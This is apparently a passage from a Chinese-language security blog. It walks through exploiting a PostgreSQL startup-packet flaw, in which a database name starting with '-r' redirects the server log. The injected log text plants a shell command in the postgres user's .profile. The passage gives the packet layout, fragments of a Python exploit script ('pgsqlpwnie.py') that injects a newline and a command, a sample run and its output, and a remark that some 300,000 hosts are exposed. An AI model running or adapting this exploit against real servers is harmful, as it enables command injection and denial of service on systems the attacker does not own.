另一种思路 
 
 
  除了使用web脚本外,如果我们用默认安装目录下对postgres用户来说具有可写权限的脚本会有什么样的结果呢(以Ubuntu为例)?经过一番搜
寻,符合条件的脚本不多,我决定用~postgres/(Ubuntu的/var/lib/postgres)目录下的.profile文件作为突破口。
 
 
   首先再回顾一下"-r"选项的日志输出格式: 
 
1 | 2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", | 
2 | user "test123", database "-rtest.out", SSL on | 
3 | 2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", | 
4 | user "test123", database "-rtest.out", SSL off | 
  
   因此,想要将有用的信息注入到.profile文件中,我们需要先写一个双引号("),后跟一个换行符(0x0a),再跟我们想要注入的命令,最后在写上一个哈希符(#)将其余的信息注释掉。 
 
   但是,psql命令行工具貌似无法正确处理像换行符之类的特殊字符。因此,看来我们得自己编写个简易的客户端,其协议已经定义在了PostgreSQL文档中,或者用更简便的方法,由于Wireshark自带pgsql的解析器,我们只要抓个包就可看到其协议了。 
  运行下面的命令并抓包: 
 
1 | psql –username=”AAAAAAAAAAAAAAAAAAAAAAAAAA” –host=192.168.2.22 –dbname=”-BBBBBBBBBBBBBBBB” | 
 由此我们可以看出posgres协议有以下组成部分: 
 
-  一个4字节的big-endian长度的字段(包括自身的大小) 
 
 
-  一个魔数(0×00, 0×03, 0×00, 0×00) 
 -  由空字节(Null bytes)分隔的几个命令 
 -  用户(user) 
 -  <输入的用户名> 
 -  数据库(database) 
 -  <输入的数据库名> 
 -  程序名(application_name) 
 -  <输入的程序名> 
 -  客户端编码及值(client_encoding & value,我们忽略此项) 
 -  空字节(null byte)结尾 
 
 
 我们用python编程构造一个请求:
  
 
08 | buf = "\x00\x03\x00\x00" \ | 
10 |  "\"\x0a" + sys.argv[1] + " #\x00" \#Supplied username (Our controlled data) | 
12 |  "-r" + sys.argv[2] + "\x00" \ | 
13 |  "application_name\x00psql_pwnie\x00\x00" | 
15 | buf = struct.pack(">I", len(buf)+4) + buf | 
17 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | 
18 | sock.connect((HOST,PORT)) | 
 程序的第一个参数是要注入的命令,第二个参数是输出文件(.profile)的位置。 
  
 
1 | x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile | 
3 | E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20", user "" | 
 结果: 
  
 
02 | 2013-04-09: command not found | 
 现在我们要做的就是等管理员运行"su – postgres"。怎么样,容易吗?shodan显示互联网上还有30多万的主机正监听者5432端口…… 
 
这次实验并不能称为一个严格的远程代码执行(RCE)攻击,但是却是一次值得称道的拒绝服务攻击。